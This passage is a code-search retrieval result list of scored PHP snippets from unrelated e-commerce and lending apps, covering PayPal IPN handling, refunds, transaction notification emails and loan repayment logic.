[ { "docid": "92e3111f454b6f5c21c50ba1c980321d", "score": "0.6028911", "text": "public function cancelOffsitePayment(){\n\t\t// programmers must override this method to provide gateway specific logic\n\t}", "title": "" }, { "docid": "02b2806f05506eda36d06d6bfa9320ea", "score": "0.5515472", "text": "static function send_payment_reminder($order){\n\t\tbasket_plus::send_order_update($order,ORDER_LATE_PAYMENT_EMAIL_SUBJECT,ORDER_LATE_PAYMENT_EMAIL);\n }", "title": "" }, { "docid": "9df9e9ee1e100579aaa70f2afb82b564", "score": "0.5507558", "text": "function price_change_disapproved($id, $requestor, $amount, $ignore) {\n\t\t\n\t\techo \"Your request for a water price change \n\t\tto \" . CURRSYM . \"$amount has NOT been approved<P>\";\n\t\t$this->delete_request($id);\n\t}", "title": "" }, { "docid": "4def49aba0fa517e10d43ce057818cb3", "score": "0.53952724", "text": "public function pending($method, $user_id, $transaction_id)\n {\n $sqlParameters[\":transaction_id\"] = $transaction_id;\n $sqlParameters[\":user_id\"] = $user_id; \n\n $preparedStatement = $this->dbh->prepare('select TRANSACTION_ID, LENDER_FIRST_NAME, LENDER_ID, LENDER_EMAIL_ADDRESS, BORROWER_FIRST_NAME, BORROWER_ID, BORROWER_EMAIL_ADDRESS, ITEM_ID, TITLE from REQUESTED_VW where TRANSACTION_ID=:transaction_id AND LENDER_ID=:user_id LIMIT 1');\n $preparedStatement->execute($sqlParameters);\n $row = $preparedStatement->fetch(PDO::FETCH_ASSOC); \n \n if ($row == null)\n throw new PendingTransactionException($method, $user_id); \n \n // 200 -> 250\n $this->insertDetail($method, $transaction_id, $this->getEdgeID(200,250,$method, $user_id), array(\"ACCEPT_DATE\" => date(\"Y-m-d H:i:s\")), $user_id); \n \n global $do_not_reply_email, $domain;\n \n // Send email to lender\n $message = \"Hi {$row[\"LENDER_FIRST_NAME\"]},<br/><br/>\";\n $message .= \"You have accepted {$row[\"BORROWER_FIRST_NAME\"]}'s request to borrow your item: <a href=\\\"{$domain}/item/index/{$row[\"ITEM_ID\"]}\\\">{$row[\"TITLE\"]}</a><br/><br/>\";\n $message .= \"This transaction is currently in the <b>pending</b> state because {$row[\"BORROWER_FIRST_NAME\"]} hasn't completed their payment details yet. If {$row[\"BORROWER_FIRST_NAME\"]} does not complete their payment details in the next 24 hours, this transaction will be cancelled.We've notified {$row[\"BORROWER_FIRST_NAME\"]} about this.<br/><br/>\";\n $message .= \"Once {$row[\"BORROWER_FIRST_NAME\"]} completes their payment details, we will notify you via email and move the transaction forward.\";\n $subject = \"{$row[\"TITLE\"]} - PENDING - Borrower must complete payment details - Transaction ID: {$row[\"TRANSACTION_ID\"]}\";\n sendEmail($do_not_reply_email, $row[\"LENDER_EMAIL_ADDRESS\"], null, $subject, $message);\n \n // Send email to borrower\n $message = \"Hi {$row[\"BORROWER_FIRST_NAME\"]},<br/><br/>\";\n $message .= \"{$row[\"LENDER_FIRST_NAME\"]} has accepted your request to borrow item: <a href=\\\"{$domain}/item/index/{$row[\"ITEM_ID\"]}\\\">{$row[\"TITLE\"]}</a><br/><br/>\";\n $message .= \"Before the transaction can move forward, you must complete your payment details. You can do this by clicking on the link below:<br/><br/>\";\n $message .= \"<a href=\\\"{$domain}/user/completeprofile\\\">{$domain}/user/completeprofile</a><br/><br/>\";\n $message .= \"If you do not complete your payment details in the next 24 hours, this transaction will be cancelled.\";\n $subject = \"{$row[\"TITLE\"]} - PENDING - Your action is needed - Transaction ID: {$row[\"TRANSACTION_ID\"]}\";\n sendEmail($do_not_reply_email, $row[\"BORROWER_EMAIL_ADDRESS\"], null, $subject, $message); \n \n $this->insertNotification($user_id, $row[\"BORROWER_ID\"], $row[\"TRANSACTION_ID\"], 3, $method); \n }", "title": "" }, { "docid": "86d8ff305638195173952c7ccf6e5e53", "score": "0.53936565", "text": "public function expired($method, $user_id)\n {\n $preparedStatement = $this->dbh->prepare('select * from PENDING_VW');\n $preparedStatement->execute();\n $rows = $preparedStatement->fetchAll(PDO::FETCH_ASSOC);\n $transactions = $this->denormalize($rows);\n \n global $domain, $do_not_reply_email;\n \n foreach ($transactions as $transaction)\n {\n $accept_date = new DateTime($transaction[\"PENDING\"][\"ACCEPT_DATE\"]);\n $accept_date->add(new DateInterval('P1D')); // add 24 hours\n $now = new DateTime();\n\n // 250 -> 850\n if ($accept_date < $now)\n { \n $this->insertDetail($method, $transaction[\"TRANSACTION_ID\"], $this->getEdgeID(250,850,$method, $user_id), null, $user_id);\n \n // Send email to both\n $message = \"Hi {$transaction[\"LENDER_FIRST_NAME\"]} and {$transaction[\"BORROWER_FIRST_NAME\"]},<br/><br/>\";\n $message .= \"The request for item {$transaction[\"TITLE\"]} by {$transaction[\"BORROWER_FIRST_NAME\"]} has expired because {$transaction[\"BORROWER_FIRST_NAME\"]} did not complete their payment details within the 24 hour notice.<br/><br/>\";\n $message .= \"{$transaction[\"BORROWER_FIRST_NAME\"]}, if you wish to borrow this item, please complete your user profile and re-request the item. As a reminder, you can complete your profile by following the link below:<br/><br/>\";\n $message .= \"<a href=\\\"{$domain}/user/completeprofile\\\">{$domain}/user/completeprofile</a>\";\n \n $subject = \"{$transaction[\"TITLE\"]} - EXPIRED - Item request has expired - Transaction ID: {$transaction[\"TRANSACTION_ID\"]}\";\n\n sendEmail($do_not_reply_email, $transaction[\"LENDER_EMAIL_ADDRESS\"] . ',' . $transaction[\"BORROWER_EMAIL_ADDRESS\"], null, $subject, $message); \n }\n } \n }", "title": "" }, { "docid": "855643bd3414ea832fb3a14f2284f2ad", "score": "0.53799456", "text": "function cash_out_user_ipn(){\n //paypal return transaction details array\n $paypalInfo = $this->input->post();\n \n /* $this->email->from('mydevfactory.com', 'System Mail'); \n $this->email->to('[email protected]');\n $this->email->subject('Cash out Payment Info'); \n $this->email->message(json_encode($paypalInfo)); \n $this->email->send(); */\n }", "title": "" }, { "docid": "fc64296d407282a7ec06abc7ef6d658e", "score": "0.53617275", "text": "public function movePendingToReserved($method, $user_id)\n {\n $sqlParameters[\":user_id\"] = $user_id; \n $preparedStatement = $this->dbh->prepare('select * from PENDING_VW where BORROWER_ID=:user_id');\n $preparedStatement->execute($sqlParameters);\n $rows = $preparedStatement->fetchAll(PDO::FETCH_ASSOC);\n $transactions = $this->denormalize($rows);\n \n if ($transactions != null)\n {\n // 250 -> 300\n foreach($transactions as $transaction)\n {\n $cc = getRandomID();\n $this->insertDetail($method, $transaction[\"TRANSACTION_ID\"], $this->getEdgeID(250,300,$method, $user_id), array(\"CONFIRMATION_CODE\" => $cc), $user_id);\n \n global $do_not_reply_email, $domain, $borrower_number, $lender_number;\n $formatted_borrower_number = substr($borrower_number, 0, 3) . '-' . substr($borrower_number, 3,3) . '-' . substr($borrower_number, 6,4);\n \n $start_date = date(\"m/d\", strtotime($transaction[\"REQ\"][\"START_DATE\"]));\n $end_date = date(\"m/d\", strtotime($transaction[\"REQ\"][\"END_DATE\"])); \n\n // Send text message to lender \n $textMessage = \"Hey {$transaction[\"LENDER_FIRST_NAME\"]}! It's Qhojo here. You have accepted {$transaction[\"BORROWER_FIRST_NAME\"]}'s request. Arrange to meet with them on {$start_date}.\";\n $textMessage2 = \"On {$start_date}, you will receive a text message from Qhojo. Do not release the item until you have received our confirmation text.\";\n $this->sendText($transaction[\"LENDER_PHONE_NUMBER\"], $lender_number, $textMessage, $method, $user_id);\n $this->sendText($transaction[\"LENDER_PHONE_NUMBER\"], $lender_number, $textMessage2, $method, $user_id);\n\n // Send text message to borrower\n $textMessage = \"Hey {$transaction[\"BORROWER_FIRST_NAME\"]}! It's Qhojo here. {$transaction[\"LENDER_FIRST_NAME\"]} has accepted your request. Arrange to meet with them on {$start_date}.\";\n $textMessage2 = \"On {$start_date}, inspect the item. If it is OK, then text your confirmation code ({$cc}) back to this number.\";\n $this->sendText($transaction[\"BORROWER_PHONE_NUMBER\"], $borrower_number, $textMessage, $method, $user_id);\n $this->sendText($transaction[\"BORROWER_PHONE_NUMBER\"], $borrower_number, $textMessage2, $method, $user_id); \n \n // Send email to both\n $message = \"Hi {$transaction[\"LENDER_FIRST_NAME\"]} and {$transaction[\"BORROWER_FIRST_NAME\"]},<br/><br/>\";\n $message .= \"The transaction is ready to move forward. {$transaction[\"LENDER_FIRST_NAME\"]}, you have accepted {$transaction[\"BORROWER_FIRST_NAME\"]}'s request to borrow your item, <a href=\\\"{$domain}/item/index/{$transaction[\"ITEM_ID\"]}\\\">{$transaction[\"TITLE\"]}</a>, from \" . date(\"m/d\", strtotime($start_date)) . \" to \" . date(\"m/d\", strtotime($end_date)) . \". Your guys' confirmation code is <b>{$cc}</b>.<br/><br/>\";\n $message .= \"Here's what the both of you have to do next:<br/><br/>\";\n $message .= \"<blockquote>\";\n $message .= \"(1) Work out a place to meet over email (you can use this email chain since both of you are already on it).<br/><br/>\";\n $message .= \"(2) {$transaction[\"BORROWER_FIRST_NAME\"]}, when you meet {$transaction[\"LENDER_FIRST_NAME\"]} on {$start_date}, text the above confirmation code to this number: <a href=\\\"tel:{$borrower_number}\\\">{$formatted_borrower_number}</a>.<br/><br/>\";\n $message .= \"(3) {$transaction[\"LENDER_FIRST_NAME\"]}, as soon we receive {$transaction[\"BORROWER_FIRST_NAME\"]}'s text message, we will text you a message confirming so. Only hand over your item to {$transaction[\"BORROWER_FIRST_NAME\"]} once you have received this message from us.<br/><br/>\";\n $message .= \"</blockquote>\";\n $message .= \"Should either of you decide to cancel the reservation, you can only do so more than 24 hours before the rental start date. This can be done from the dashboard.\";\n\n $subject = \"{$transaction[\"TITLE\"]} - RESERVED - Item has been reserved - Transaction ID: {$transaction[\"TRANSACTION_ID\"]}\";\n sendEmail($do_not_reply_email, $transaction[\"LENDER_EMAIL_ADDRESS\"] . ',' . $transaction[\"BORROWER_EMAIL_ADDRESS\"], $transaction[\"LENDER_EMAIL_ADDRESS\"] . ',' . $transaction[\"BORROWER_EMAIL_ADDRESS\"], $subject, $message); \n $this->insertNotification($user_id, $transaction[\"LENDER_ID\"], $transaction[\"TRANSACTION_ID\"], 2, $method); \n }\n \n return true;\n }\n \n return false;\n }", "title": "" }, { "docid": "94a7716fb305a4987e2c77d015911e85", "score": "0.53422046", "text": "function disapprove_change() {\n \t\t\n \t\t$id = get_param('id');\n \t\t$amount = get_param('amount'); \n \t\t$requestor = get_param('requestor'); \n \t\tlog_and_confirm(\"did not approve a request from the water utility to change the price of water to \" . \n \t\t\tCURRSYM . \"$amount\", $this->id, 3);\n \t\t$this->request($requestor, 'price_change_disapproved', $amount);\n \t\t$this->delete_request($id);\n \t}", "title": "" }, { "docid": "f245d218b3b3af3f2ce8607e6c94ef90", "score": "0.53396434", "text": "public function markAsNotPaid(Auction $auction)\n {\n $auction->status = \"not_paid\";\n $auction->save();\n }", "title": "" }, { "docid": "282743d927393973f57c9b45b68ea8df", "score": "0.53382254", "text": "private function sendAccountReplenished()\n {\n $when = now()->addSeconds(40);\n // $this->telegramUser->notify((new AccountReplenished())->delay($when));\n $this->telegramUser->notify(new AccountReplenished());\n }", "title": "" }, { "docid": "729f5f9656aa425e1204985b55e5cece", "score": "0.5332369", "text": "public function refundTransaction() {\n //not implemented\n }", "title": "" }, { "docid": "d2077adaa5f0c8ba5d5405f61195adcd", "score": "0.5316911", "text": "public function ipnnotificationAction() { \n \t/*\n \t * Getting pay key and tracking id\n \t */\n $payKey = $_POST['pay_key'];\n \t$trackingId = $_POST['tracking_id'];\n \t$transactionId = '';\n\n \t$paymentCollection = Mage::getModel('paypaladaptive/paypaladaptivedetails')->getCollection()\n \t->addFieldToFilter('pay_key', $payKey)\n \t->addFieldToFilter('tracking_id', $trackingId)->getFirstItem(); \n \t$paypalAdaptive = $paymentCollection->getSellerInvoiceId();\n \t\n \t$delayedPaymentCollection = Mage::getModel('paypaladaptive/delaychaineddetails')->getCollection()\n \t->addFieldToFilter('increment_id', $paypalAdaptive);\n \t\n \tif(count($paymentCollection) >= 1){\n \t/*\n \t * Make the Payment Details call using PayPal API\n \t*/\n \t$resArray = Mage::getModel('paypaladaptive/apicall')->CallPaymentDetails($payKey, $transactionId, $trackingId);\n \t\n \t$ack = strtoupper($resArray[\"responseEnvelope.ack\"]);\n \n \t\n \tif ($ack == \"SUCCESS\" && isset($resArray[\"paymentInfoList.paymentInfo(0).transactionId\"]) && $resArray[\"paymentInfoList.paymentInfo(0).transactionId\"] != '' || $ack == \"SUCCESS\" && count($delayedPaymentCollection)) {\n \t \t\t \t\n \t\ttry { \t\n \t\t\t$order = Mage::getModel('sales/order');\n \t\t\t$order->loadByIncrementId($paypalAdaptive); \t\t\t\n \t\t if (count($delayedPaymentCollection)) {\n for ($inc = 0; $inc <= 5; $inc++) {\n if (!empty($resArray[\"paymentInfoList.paymentInfo($inc).transactionId\"])) {\n $transactionIdData = $resArray[\"paymentInfoList.paymentInfo($inc).transactionId\"];\n $transactionStatusData = $resArray[\"paymentInfoList.paymentInfo($inc).transactionStatus\"];\n break;\n }\n }\n } else {\n $transactionIdData = $resArray[\"paymentInfoList.paymentInfo(0).transactionId\"];\n }\n \t\t\t \t\n \t\t\t$order->setLastTransId($transactionIdData)->save(); \t\n \t\t\tif ($order->canInvoice()) {\n \tif(Mage::helper('paypaladaptive')->getModuleInstalledStatus('Apptha_Marketplace') == 1 ){\n $items = $order->getAllItems ();\n $itemCount = 0;\n $sellerProduct = array();\n foreach ( $items as $item ) {\n \t$products = Mage::helper ( 'marketplace/marketplace' )->getProductInfo ( $item->getProductId () );\n \t$orderEmailData [$itemCount] ['seller_id'] = $products->getSellerId ();\n \t$orderEmailData [$itemCount] ['product_qty'] = $item->getQtyOrdered ();\n \t$orderEmailData [$itemCount] ['product_id'] = $item->getProductId ();\n \t$sellerProduct[$products->getSellerId ()][$item->getProductId ()]\t= $item->getQtyOrdered ();\n \t$itemCount = $itemCount + 1;\n }\n $sellerIds = array ();\n foreach ( $orderEmailData as $data ) {\n \tif (! in_array ( $data ['seller_id'], $sellerIds )) {\n \t\t$sellerIds [] = $data ['seller_id'];\n \t}\n }\n foreach ( $sellerIds as $id ) {\n \t$itemsarray = $itemsArr = array ();\n\t foreach ( $order->getAllItems () as $item ) {\n\t \t$productsCol = Mage::helper ( 'marketplace/marketplace' )->getProductInfo ( $item->getProductId () );\n\t \t$itemId = $item->getItemId ();\n\t \tif($productsCol->getSellerId () == $id){ \n\t \t\t$itemsarray [$itemId] = $sellerProduct[$id][$item->getProductId ()];\n\t \t\t$itemsArr [] = $itemId;\n\t \t}else{\n\t \t\t$itemsarray [$itemId] = 0;\n\t \t}\n\t\t\t\t }\n\t\t\t\t /**\n\t\t\t\t * Generate invoice for shippment.\n\t\t\t\t */\n\t\t\t\t Mage::getModel ( 'sales/order_invoice_api' )->create ( $order->getIncrementId (), $itemsarray, '', 1, 1 );\n\t\t\t\t Mage::getModel ( 'marketplace/order' )->updateSellerOrderItemsBasedOnSellerItems ( $itemsArr, $order->getEntityId(), 1 );\n\t\t\t\t }\n }else{\n \t$invoice = $order->prepareInvoice();\n $invoice->register()->pay();\n $invoice->getOrder()->setIsInProcess(true);\n $status = Mage::helper('paypaladaptive')->getOrderSuccessStatus();\n $invoice->getOrder()->setData('state', $status);\n $invoice->getOrder()->setStatus($status);\n $history = $invoice->getOrder()->addStatusHistoryComment('Partial amount of captured automatically.', true);\n $history->setIsCustomerNotified(true);\n $invoice->sendEmail(true, '');\n \t\t\n Mage::getModel('core/resource_transaction')\n ->addObject($invoice)\n ->addObject($invoice->getOrder())\n ->save();\n $invoice->save();\n }\n /*\n * Saving payment success details\n */\n for ($inc = 0; $inc <= 5; $inc++) {\n\n if (isset($resArray[\"paymentInfoList.paymentInfo($inc).transactionId\"])) {\n \t$receiverTransactionId = $resArray[\"paymentInfoList.paymentInfo($inc).transactionId\"];\n } else {\n \t$receiverTransactionId = '';\n }\n\n if (isset($resArray[\"paymentInfoList.paymentInfo($inc).transactionStatus\"])) {\n \t$receiverTransactionStatus = $resArray[\"paymentInfoList.paymentInfo($inc).transactionStatus\"];\n } else {\n \t$receiverTransactionStatus = 'Pending';\n }\n\n $senderEmail = $resArray[\"senderEmail\"];\n $receiverEmail = $resArray[\"paymentInfoList.paymentInfo($inc).receiver.email\"];\n $receiverInvoiceId = $resArray[\"paymentInfoList.paymentInfo($inc).receiver.invoiceId\"];\n /*\n * Updating transaction id and status\n */\n Mage::getModel('paypaladaptive/save')->update($payKey, $trackingId, $receiverTransactionId, $receiverTransactionStatus, $senderEmail, $receiverEmail, $receiverInvoiceId);\n }\n\n if ($paymentMethod == 'delayed_chained') {\n /*\n * Updating delayed chained method transaction id and status\n */\n Mage::getModel('paypaladaptive/save')->updateDelayedChained($payKey, $trackingId, $transactionIdData, $transactionStatusData, $senderEmail, $paypalAdaptive);\n } \t\n \t\t}\n \t} catch (Mage_Core_Exception $e) {\n \tMage::log($e->getMessage());\n \t\t}\n \t}\n \t} \t\n }", "title": "" }, { "docid": "4a3f56d815dd9e24995924feaa20407e", "score": "0.53154606", "text": "function unblock_ip($id){\n\t\t$this->Ip_model->unblock($id);\n\t\tredirect('ip');\n\t}", "title": "" }, { "docid": "67d055e9b16e8b5528cbfc3e3a4784a8", "score": "0.5308188", "text": "function unblock() {\n \n /////////// Check user right on this order\n $currentUser = sdiFactory::getSdiUser();\n\n // current user extrations (if is extraction responsible)\n $userExtrationsResponsible = $currentUser->getResponsibleExtraction();\n if (!is_array($userExtrationsResponsible)) {\n $userExtrationsResponsible = array();\n }\n \n $diffusion_id = JFactory::getApplication()->input->getInt('diffusion_id', null, 'int');\n $order_id = JFactory::getApplication()->input->getInt('order_id', null, 'int');\n \n if (!in_array($diffusion_id, $userExtrationsResponsible)){\n // Redirect back to the edit screen.\n $this->setMessage(JText::_('JERROR_ALERTNOAUTHOR'));\n $this->setRedirect(JRoute::_('index.php?option=com_easysdi_shop&view=requests', false));\n }\n\n //Load order response\n $orderdiffusion = JTable::getInstance('orderdiffusion', 'Easysdi_shopTable');\n $keys = array();\n $keys['order_id'] = $order_id;\n $keys['diffusion_id'] = $diffusion_id;\n $orderdiffusion->load($keys);\n $orderdiffusion->otpchance = 0;\n\t\t$orderdiffusion->otp = \"\";\n $orderdiffusion->productstate_id = Easysdi_shopHelper::PRODUCTSTATE_AVAILABLE;\n $return = $orderdiffusion->store();\n \n // Check for errors.\n if ($return === false) {\n // Redirect back to the edit screen.\n $this->setMessage(JText::sprintf('Save failed', $orderdiffusion->getError()), 'warning');\n $this->setRedirect(JRoute::_('index.php?option=com_easysdi_shop&view=request&layout=edit&id=' . $order_id, false));\n }else{\n // Send email to the supplier\n Easysdi_shopHelper::notifyCustomerOTPUnblocked($order_id);\n // Redirect back to the edit screen.\n $this->setMessage(JText::_('COM_EASYSDI_SHOP_ORDER_MESSAGE_OTPPRODUCTUNBLOCK'));\n $this->setRedirect(JRoute::_('index.php?option=com_easysdi_shop&view=request&layout=edit&id=' . $order_id, false));\n }\n }", "title": "" }, { "docid": "fc81e6cc541aec80ee383839e1d56e58", "score": "0.53041714", "text": "function unblock_ip($id){\n\t\t$this->blockip_model->unblock($id);\n\t\tredirect('block_ip');\n\t}", "title": "" }, { "docid": "e97d26041723737c29cb68d7f0e9050d", "score": "0.5289999", "text": "function price_change_approved($id, $requestor, $amount, $ignore) {\n\t\t\n\t\tglobal $zurich;\n\t\t\n\t\tif ($amount <= 0) $amount = 1;\n\t\tif ($amount > 100) $amount = 10;\n\t\t$change = $amount - $zurich->water_price; \n\t\t$zurich->water_price = $amount;\n\t\techo \"Your request for a water price change to \" . CURRSYM . \"$amount has been approved\\n\";\n\t\tlog_and_confirm(\"changed the price of water to \" . CURRSYM . \"$amount\", $this->id, 3);\n\t\t$this->delete_request($id);\n\t}", "title": "" }, { "docid": "b6dbac0a3035728e33c2305fb0addb00", "score": "0.5276042", "text": "static function send_delay_notification($order){\n\t\tbasket_plus::send_order_update($order,ORDER_DELAYED_EMAIL_SUBJECT,ORDER_DELAYED_EMAIL);\n }", "title": "" }, { "docid": "cdb44e0bcc19eef8458153961c268065", "score": "0.5265588", "text": "function overdraft($id, $requestor, $amount) {\n\t\t\n\t\techo \"You did not have enough in your account to pay the \n\t\tbills that were due for maintenance etc. The Bank has therefore\n\t\tautomatically provided you with overdraft facilities and lent you \n\t\tthe \" . CURRSYM . \"$amount that you needed.\";\n\t\t$this->delete_request($id);\n }", "title": "" }, { "docid": "5392e3327f97b0703804617a40a3047b", "score": "0.5210661", "text": "public function refund(Request $request)\n {\n $user = Auth::user();\n \n $starter_payment = Payment::where('user_id', '=', $user->id)\n ->where('plan_id','=',0)\n ->where('created_at', '>=', Carbon::now()->subDays(14)->toDateTimeString())\n ->first();\n \n if(!empty($starter_payment)){\n if($starter_payment->transaction_type==1){\n\n $status = $this->paypal_refund($starter_payment->transaction_id,$starter_payment->id);\n if($status){\n return redirect()->route('dashboard')->send();\n }\n\n }else{\n $status = $this->stripe_refund($starter_payment->transaction_id,$starter_payment->id);\n if($status){\n return redirect()->route('dashboard')->send();\n }\n\n }\n\n }else{\n $current_language = \\Lang::getLocale();\n $msg = $current_language == 'en' ? 'you can only refund amount in 14 days only.' : 'vous pouvez seulement rembourser le montant en 14 jours seulement.';\n\n return redirect()->back()->with('error',$msg);\n\n }\n\n\n\n\n\n }", "title": "" }, { "docid": "2701c23cfcd3b533a9563073b84648de", "score": "0.5198812", "text": "public function paypal_refund($transaction_id = null,$payment_id = null)\n {\n\n $payment = Payment::find($payment_id);\n $user = Auth::user();\n //dd($user);\n \n try {\n \n $user_name = $this->paypal_user_name; // API User Username\n $password = $this->paypal_password; // API User Password\n $vendor = $this->paypal_vendor; // Merchant Login ID\n // Reseller who registered you for Payflow or 'PayPal' if you registered\n // directly with PayPal\n $partner = $this->paypal_partner; \n\n $sandbox = $this->paypal_sandbox;\n\n $transactionId = $payment->transaction_id; // The PNREF # returned when the card was charged\n $amount = $payment->net_amount;\n $currency = 'USD';\n\n $url = $sandbox ? 'https://pilot-payflowpro.paypal.com'\n : 'https://payflowpro.paypal.com';\n\n $params = array(\n 'USER' => $user_name,\n 'VENDOR' => $vendor,\n 'PARTNER' => $partner,\n 'PWD' => $password,\n 'TENDER' => 'C', // C = credit card, P = PayPal\n 'TRXTYPE' => 'C', // S=Sale, A= Auth, C=Credit, D=Delayed Capture, V=Void \n 'ORIGID' => $transactionId,\n 'AMT' => $amount,\n 'CURRENCY' => $currency\n );\n\n $data = '';\n $i = 0;\n foreach ($params as $n=>$v) {\n $data .= ($i++ > 0 ? '&' : '') . \"$n=\" . urlencode($v);\n }\n\n $headers = array();\n $headers[] = 'Content-Type: application/x-www-form-urlencoded';\n $headers[] = 'Content-Length: ' . strlen($data);\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_POST, 1);\n curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\n curl_setopt($ch, CURLOPT_HEADER, $headers);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n\n $result = curl_exec($ch);\n curl_close($ch);\n\n // Parse results\n $response = array();\n $result = strstr($result, 'RESULT'); \n $valArray = explode('&', $result);\n foreach ($valArray as $val) {\n $valArray2 = explode('=', $val);\n $response[$valArray2[0]] = $valArray2[1];\n }\n //print_r($response);\n if (isset($response['RESULT']) && $response['RESULT'] == 0) {\n //dd($user);\n $user = User::find($user->id);\n $user->status = '3';\n // $user->save();\n\n $payment->refund_status = '1';\n $payment->save();\n // Auth::logout();\n sendrefundEmail($user->id);\n return true;\n \n } else {\n return redirect()->back()->with('error','some error in refunding'); \n }\n\n \n \n }catch (Exception $e) {\n // Something else happened, completely unrelated to Stripe\n return redirect()->back()->with('error','some error in refunding'); \n }\n\n\n }", "title": "" }, { "docid": "fbdde18ded7f2abd0246873db6985d19", "score": "0.51861453", "text": "public function checkOffsitePayment(){\n\t\t// programmers must override this method to provide gateway specific logic\n\t}", "title": "" }, { "docid": "d0ab7516588be8a42f9f5329f9627c93", "score": "0.5177071", "text": "function reset_rate_limiting() {\n // Get the remote IP address\n $ip = $_SERVER['REMOTE_ADDR'];\n // Delete the entry for this IP\n $sql = \"DELETE\n FROM rate_limited_ips\n WHERE ip = inet_aton( ? );\n \";\n $this->query($sql, \"s\", $ip);\n }", "title": "" }, { "docid": "723c7abba2eb159b6a072fd4f10bf8f0", "score": "0.51736397", "text": "public function refund_request(Request $request)\n\t{\n\t $item_id = $request->input('item_id');\n\t $item_token = $request->input('item_token');\n\t $user_id = $request->input('user_id');\n\t $item_user_id = $request->input('item_user_id');\n\t $ord_id = $request->input('ord_id');\n\t $ref_refund_reason = $request->input('refund_reason');\n\t $ref_refund_comment = $request->input('refund_comment');\n\t $item_url = $request->input('item_url');\n\t $refund_count = Items::checkRefund($item_token,$user_id);\n\t \n\t $savedata = array('ref_item_id' => $item_id, 'ref_order_id' => $ord_id, 'ref_item_token' => $item_token, 'ref_user_id' => $user_id, 'ref_item_user_id' => $item_user_id, 'ref_refund_reason' => $ref_refund_reason, 'ref_refund_comment' => $ref_refund_comment); \n\t \n\t \n\t \n\t if($refund_count == 0)\n\t {\n\t Items::saveRefund($savedata);\n\t\t$userfrom['data'] = Members::singlebuyerData($user_id);\n\t\t$from_email = $userfrom['data']->email;\n\t\t$from_name = $userfrom['data']->name;\n\t\t$sid = 1;\n\t\t$setting['setting'] = Settings::editGeneral($sid);\n\t\t$admin_name = $setting['setting']->sender_name;\n\t\t$admin_email = $setting['setting']->sender_email;\n\t\t$record = array('from_name' => $from_name, 'from_email' => $from_email, 'item_url' => $item_url, 'ref_refund_reason' => $ref_refund_reason, 'ref_refund_comment' => $ref_refund_comment);\n\t\tMail::send('refund_mail', $record, function($message) use ($admin_name, $admin_email, $from_email, $from_name) {\n\t\t\t\t$message->to($admin_email, $admin_name)\n\t\t\t\t\t\t->subject('Refund Request Received');\n\t\t\t\t$message->from($from_email,$from_name);\n\t\t\t});\n\t\t\n\t\t\n\t\t\n\t return redirect('purchases')->with('success','Your refund request has been sent successfully');\n\t }\n\t else\n\t {\n\t \n\t\t return redirect('purchases')->with('error','Sorry! Your refund request already sent');\n\t }\n\t \n\t \n\t \n\t\n\t}", "title": "" }, { "docid": "aa9037901a72b7faeed42b61b928223c", "score": "0.5153654", "text": "public function paypalIPN(Request $request)\n {\n $req = 'cmd=_notify-validate';\n foreach ($_POST as $key => $value) {\n $value = urlencode(stripslashes($value));\n $req .= \"&$key=$value\";\n }\n// post back to PayPal system to validate\n $header = \"POST /cgi-bin/webscr HTTP/1.0\\r\\n\";\n $header .= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\n $header .= \"Content-Length: \" . strlen($req) . \"\\r\\n\\r\\n\";\n\n $fp = fsockopen('ssl://www.paypal.com', 443, $errno, $errstr, 30);\n\n\n if (!$fp) {\n// HTTP ERROR\n } else {\n fputs($fp, $header . $req);\n while (!feof($fp)) {\n $res = fgets($fp, 1024);\n if (strcmp($res, \"VERIFIED\") == 0) {\n\n// PAYMENT VALIDATED & VERIFIED!\n $item_name = $request['item_name'];\n $item_number = $request['item_number'];\n $payment_status = $request['payment_status'];\n $payment_amount = $request['mc_gross'];\n $payment_currency = $request['mc_currency'];\n $txn_id = $request['txn_id'];\n $receiver_email = $request['receiver_email'];\n $payer_email = $request['payer_email'];\n $notes = 'Paypal: txn_id=' . $txn_id . '.<br>Payer Email:' . $payer_email . '.<br>Currency:' . $payment_currency;\n if ($payment_status == 'Completed' || $payment_status == 'Processed' || $payment_status == 'Sent' || $payment_status == 'Pending') {\n $loan = Loan::find($item_number);\n $repayment = new LoanRepayment();\n $repayment->amount = $payment_amount;\n $repayment->loan_id = $loan->id;\n $repayment->borrower_id = $loan->borrower_id;\n $repayment->collection_date = date(\"Y-m-d\");\n $repayment->notes = $notes;\n $date = explode('-', date(\"Y-m-d\"));\n $repayment->year = $date[0];\n $repayment->month = $date[1];\n //determine which schedule due date the payment applies too\n $schedule = LoanSchedule::where('due_date', '>=', date(\"Y-m-d\"))->where('loan_id',\n $loan->id)->orderBy('due_date',\n 'asc')->first();\n if (!empty($schedule)) {\n $repayment->due_date = $schedule->due_date;\n } else {\n $schedule = LoanSchedule::where('loan_id',\n $loan->id)->orderBy('due_date',\n 'desc')->first();\n if ($request->collection_date > $schedule->due_date) {\n $repayment->due_date = $schedule->due_date;\n } else {\n $schedule = LoanSchedule::where('due_date', '>', date(\"Y-m-d\"))->where('loan_id',\n $loan->id)->orderBy('due_date',\n 'asc')->first();\n $repayment->due_date = $schedule->due_date;\n }\n\n }\n $repayment->save();\n if ($loan->loan_product->enable_late_repayment_penalty == 1) {\n $schedules = LoanSchedule::where('due_date', '<',\n $repayment->due_date)->where('missed_penalty_applied',\n 0)->orderBy('due_date', 'asc')->get();\n foreach ($schedules as $schedule) {\n if (GeneralHelper::loan_total_due_period($loan->id,\n $schedule->due_date) > GeneralHelper::loan_total_paid_period($loan->id,\n $schedule->due_date)\n ) {\n $sch = LoanSchedule::find($schedule->id);\n $sch->missed_penalty_applied = 1;\n //determine which amount to use\n if ($loan->loan_product->late_repayment_penalty_type == \"fixed\") {\n $sch->penalty = $sch->penalty + $loan->loan_product->late_repayment_penalty_amount;\n } else {\n if ($loan->loan_product->late_repayment_penalty_calculate == 'overdue_principal') {\n $principal = (GeneralHelper::loan_total_principal($loan->id,\n $schedule->due_date) - GeneralHelper::loan_paid_item($loan->id,\n 'principal', $schedule->due_date));\n $sch->penalty = $sch->penalty + (($loan->loan_product->late_repayment_penalty_amount / 100) * $principal);\n }\n if ($loan->loan_product->late_repayment_penalty_calculate == 'overdue_principal_interest') {\n $principal = (GeneralHelper::loan_total_principal($loan->id,\n $schedule->due_date) + GeneralHelper::loan_total_interest($loan->id,\n $schedule->due_date) - 